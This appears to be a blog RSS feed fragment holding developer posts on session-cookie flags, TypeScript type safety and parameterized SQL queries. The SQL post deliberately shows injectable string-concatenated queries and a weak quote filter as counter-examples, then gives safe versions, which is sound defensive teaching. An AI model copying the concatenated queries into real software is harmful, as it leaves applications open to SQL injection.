&lt;p&gt;The important point is that &lt;code&gt;SameSite=None&lt;/code&gt; should be a deliberate choice.&lt;/p&gt;

&lt;p&gt;It should not simply become the fallback whenever another setting breaks something.&lt;/p&gt;

&lt;h2&gt;
  
  
  Putting the Cookie Flags Together
&lt;/h2&gt;

&lt;p&gt;A typical session cookie might look something like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Set-Cookie: session_id=63b6910ef2815cb7; HttpOnly; Secure; SameSite=Lax; Path=/
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each part has a purpose.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;session_id
    ↓
Identifies the authenticated session

HttpOnly
    ↓
Prevents direct JavaScript access

Secure
    ↓
Restricts transmission to HTTPS

SameSite
    ↓
Controls cross-site cookie behavior

Path
    ↓
Controls which paths receive the cookie
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No single flag makes a session secure.&lt;/p&gt;

&lt;p&gt;Security comes from combining multiple controls.&lt;/p&gt;

&lt;h2&gt;
  
  
  A Quick Session Cookie Checklist
&lt;/h2&gt;

&lt;p&gt;For a traditional cookie-based session system:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[ ] Generate session IDs using cryptographically secure randomness

[ ] Never make session IDs predictable

[ ] Use HTTPS

[ ] Set HttpOnly on authentication cookies

[ ] Set Secure on authentication cookies

[ ] Choose an appropriate SameSite policy

[ ] Keep cookie scope as narrow as practical

[ ] Treat session IDs as credentials
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Final Thought
&lt;/h2&gt;

&lt;p&gt;Developers put a lot of effort into protecting passwords.&lt;/p&gt;

&lt;p&gt;But authentication security does not end when the login succeeds.&lt;/p&gt;

&lt;p&gt;After authentication, the application needs another way to recognize the user.&lt;/p&gt;

&lt;p&gt;In many web applications, that eventually comes down to something like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Cookie: session_id=a8f19d27c4e91b72
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The password may no longer be part of the request.&lt;/p&gt;

&lt;p&gt;The session identifier is.&lt;/p&gt;

&lt;p&gt;So from an attacker's perspective, the question may stop being:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;How do I learn khg5293's password?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and become:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;How do I get a valid session?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is why authenticated session IDs deserve to be treated like credentials.&lt;/p&gt;

&lt;p&gt;Because for as long as the session remains valid, that is effectively what they are.&lt;/p&gt;

</description>
      <category>authentication</category>
      <category>security</category>
      <category>software</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Why Type Safety Matters More as a Codebase Grows</title>
      <dc:creator>khg5293</dc:creator>
      <pubDate>Sun, 13 Sep 2026 02:54:50 +0000</pubDate>
      <link>https://dev.to/khg5293/why-type-safety-matters-more-as-a-codebase-grows-14pc</link>
      <guid>https://dev.to/khg5293/why-type-safety-matters-more-as-a-codebase-grows-14pc</guid>
      <description>&lt;p&gt;When a project is small, type safety can feel like extra work.&lt;/p&gt;

&lt;p&gt;If you only have a few files and you wrote most of the code yourself, it is often easy to remember what each function expects and what each object contains.&lt;/p&gt;

&lt;p&gt;That changes quickly as a project grows.&lt;/p&gt;

&lt;p&gt;More components, more API responses, more shared utilities, and more contributors all create opportunities for assumptions to drift.&lt;/p&gt;

&lt;p&gt;One of the biggest benefits of static typing is that it turns many of those assumptions into something the compiler can check.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;User&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;
  &lt;span class="na"&gt;username&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;
  &lt;span class="na"&gt;isActive&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;boolean&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;User&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;5293&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;username&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;khg5293&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;isActive&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now a function that expects a User has a clear contract.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;displayUser&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;User&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;username&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nf"&gt;displayUser&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the structure changes later, TypeScript can point out the places that need to be updated.&lt;/p&gt;

&lt;p&gt;This becomes especially useful during refactoring.&lt;/p&gt;

&lt;p&gt;Without type checking, changing a shared object or function signature can create bugs in parts of the application that may not be immediately obvious.&lt;/p&gt;

&lt;p&gt;With TypeScript, many of those problems become compile-time errors instead.&lt;/p&gt;

&lt;p&gt;Type safety does not eliminate bugs, and it does not replace testing.&lt;/p&gt;

&lt;p&gt;But as a codebase becomes larger, it reduces the amount of information developers have to keep in their heads.&lt;/p&gt;

&lt;p&gt;That is where I think TypeScript becomes most valuable.&lt;/p&gt;

&lt;p&gt;It is not just about preventing simple mistakes.&lt;/p&gt;

&lt;p&gt;It is about making larger systems easier to change with confidence.&lt;/p&gt;

</description>
      <category>typescript</category>
      <category>javascript</category>
      <category>webdev</category>
      <category>programming</category>
    </item>
    <item>
      <title>Why Parameterized Queries Matter for SQL Security</title>
      <dc:creator>khg5293</dc:creator>
      <pubDate>Sun, 13 Sep 2026 02:52:44 +0000</pubDate>
      <link>https://dev.to/khg5293/why-parameterized-queries-matter-for-sql-security-1iem</link>
      <guid>https://dev.to/khg5293/why-parameterized-queries-matter-for-sql-security-1iem</guid>
      <description>&lt;p&gt;SQL injection is one of the classic examples of what can happen when an application mixes user input directly into a database query.&lt;/p&gt;

&lt;p&gt;The underlying problem is simple.&lt;/p&gt;

&lt;p&gt;The application expects data.&lt;/p&gt;

&lt;p&gt;The database may interpret part of that data as SQL code.&lt;/p&gt;

&lt;p&gt;That is why parameterized queries are such an important security control.&lt;/p&gt;

&lt;h2&gt;
  
  
  The unsafe approach
&lt;/h2&gt;

&lt;p&gt;Imagine a simple project lookup page where a user submits a project name.&lt;/p&gt;

&lt;p&gt;An unsafe query might be built like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;projectName&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;projectName&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;SELECT * FROM projects WHERE name = '&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
  &lt;span class="nx"&gt;projectName&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;'&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;query&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the input is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;khg5293-json-formatter
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;the final query becomes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;projects&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'khg5293-json-formatter'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That looks fine.&lt;/p&gt;

&lt;p&gt;The problem is that the application is directly combining input with SQL syntax.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this becomes dangerous
&lt;/h2&gt;

&lt;p&gt;An attacker is not required to submit the value the application expects.&lt;/p&gt;

&lt;p&gt;They may provide input containing characters that change the meaning of the query.&lt;/p&gt;

&lt;p&gt;Once user input becomes part of the SQL statement itself, the database may interpret it as executable SQL instead of ordinary data.&lt;/p&gt;

&lt;p&gt;That is the security boundary we want to preserve.&lt;/p&gt;

&lt;p&gt;The application should control the SQL structure.&lt;/p&gt;

&lt;p&gt;The user should only control the values being supplied to that structure.&lt;/p&gt;

&lt;h2&gt;
  
  
  Parameterized queries separate code from data
&lt;/h2&gt;

&lt;p&gt;A safer version looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;projectName&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;projectName&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;SELECT * FROM projects WHERE name = ?&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;projectName&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here, the SQL statement and the user supplied value are passed separately.&lt;/p&gt;

&lt;p&gt;The database driver handles the parameter as data rather than inserting it directly into the SQL syntax.&lt;/p&gt;

&lt;p&gt;This is much easier to reason about and significantly safer.&lt;/p&gt;

&lt;h2&gt;
  
  
  Another example
&lt;/h2&gt;

&lt;p&gt;Imagine a page that retrieves a project using a numeric ID.&lt;/p&gt;

&lt;p&gt;A parameterized query could look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;projectId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Number&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;Number&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isInteger&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;projectId&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
  &lt;span class="nx"&gt;projectId&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Invalid project ID&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;SELECT * FROM projects WHERE id = ?&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;projectId&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This combines two useful controls.&lt;/p&gt;

&lt;p&gt;First, the server validates that &lt;code&gt;projectId&lt;/code&gt; is actually a positive integer.&lt;/p&gt;

&lt;p&gt;Second, the value is passed into the SQL query as a parameter.&lt;/p&gt;

&lt;p&gt;Validation and parameterization solve different problems, but they work well together.&lt;/p&gt;

&lt;h2&gt;
  
  
  Input validation alone is not enough
&lt;/h2&gt;

&lt;p&gt;It is tempting to think that filtering suspicious characters is enough to prevent SQL injection.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;input&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;projectName&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;'&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Invalid input&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is not a good primary defense.&lt;/p&gt;

&lt;p&gt;Attack techniques can vary, database syntax can vary, and maintaining a list of every dangerous pattern is difficult.&lt;/p&gt;

&lt;p&gt;The safer approach is to design the query so that user input is never interpreted as SQL syntax in the first place.&lt;/p&gt;

&lt;p&gt;That is exactly what parameterized queries are designed to do.&lt;/p&gt;

&lt;h2&gt;
  
  
  Avoid building queries manually
&lt;/h2&gt;

&lt;p&gt;Consider this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;owner&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;status&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;SELECT * FROM projects WHERE owner = '&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
  &lt;span class="nx"&gt;owner&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;' AND status = '&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
  &lt;span class="nx"&gt;status&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;'&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;query&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The more values that are concatenated into a query, the harder the code becomes to reason about safely.&lt;/p&gt;

&lt;p&gt;A parameterized version is much cleaner:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;SELECT * FROM projects WHERE owner = ? AND status = ?&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The SQL structure stays fixed.&lt;/p&gt;

&lt;p&gt;Only the values change.&lt;/p&gt;

&lt;h2&gt;
  
  
  Parameterized queries also improve readability
&lt;/h2&gt;

&lt;p&gt;Security is the main benefit, but parameterized queries usually make code easier to read as well.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;project&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;khg5293&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;language&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;TypeScript&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;active&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;INSERT INTO projects (owner, language, status) VALUES (?, ?, ?)&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="nx"&gt;project&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nx"&gt;project&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;language&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nx"&gt;project&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;
  &lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It is immediately clear which values are being inserted and where they belong.&lt;/p&gt;

&lt;p&gt;The developer does not have to manually worry about quoting or concatenating each value.&lt;/p&gt;

&lt;h2&gt;
  
  
  Parameterization is not the entire security model
&lt;/h2&gt;

&lt;p&gt;Parameterized queries are extremely important, but they are still only one layer.&lt;/p&gt;

&lt;p&gt;Applications should also consider:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Input validation&lt;/li&gt;
&lt;li&gt;Authentication&lt;/li&gt;
&lt;li&gt;Authorization&lt;/li&gt;
&lt;li&gt;Least privilege database accounts&lt;/li&gt;
&lt;li&gt;Secure error handling&lt;/li&gt;
&lt;li&gt;Logging and monitoring&lt;/li&gt;
&lt;li&gt;Rate limiting where appropriate&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For example, a perfectly parameterized query is still a problem if any user can access data they are not authorized to see.&lt;/p&gt;

&lt;p&gt;Security controls solve different parts of the problem.&lt;/p&gt;

&lt;h2&gt;
  
  
  A useful mental model
&lt;/h2&gt;

&lt;p&gt;I like to think of it this way:&lt;/p&gt;

&lt;p&gt;SQL belongs to the application.&lt;/p&gt;

&lt;p&gt;Data belongs to the user.&lt;/p&gt;

&lt;p&gt;The application should never let user supplied data become part of the SQL language itself.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;SELECT * FROM projects WHERE owner = ?&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;khg5293&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is fundamentally safer than constructing the SQL statement by combining strings.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final thought
&lt;/h2&gt;

&lt;p&gt;Parameterized queries are not complicated, but they solve an important problem.&lt;/p&gt;

&lt;p&gt;They create a clear separation between SQL instructions and user supplied data.&lt;/p&gt;

&lt;p&gt;Input validation is still valuable.&lt;/p&gt;

&lt;p&gt;Authorization is still necessary.&lt;/p&gt;

&lt;p&gt;Other defensive layers still matter.&lt;/p&gt;

&lt;p&gt;But when an application interacts with a SQL database, parameterization should be the default way to handle values.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>javascript</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Why I Prefer TypeScript Over JavaScript for Larger Projects</title>
      <dc:creator>khg5293</dc:creator>
      <pubDate>Mon, 07 Sep 2026 00:16:56 +0000</pubDate>
      <link>https://dev.to/khg5293/why-i-prefer-typescript-over-javascript-for-larger-projects-4on3</link>
      <guid>https://dev.to/khg5293/why-i-prefer-typescript-over-javascript-for-larger-projects-4on3</guid>
      <description>&lt;p&gt;JavaScript is flexible, fast to start with, and supported everywhere on the web.&lt;/p&gt;

&lt;p&gt;For small scripts, quick experiments, and simple browser utilities, plain JavaScript is often enough.&lt;/p&gt;

&lt;p&gt;But as projects become larger, TypeScript starts to solve problems that JavaScript leaves entirely up to the developer.&lt;/p&gt;

&lt;p&gt;That is why I increasingly prefer TypeScript for anything beyond a very small project.&lt;/p&gt;

&lt;h2&gt;
  
  
  The biggest difference is type safety
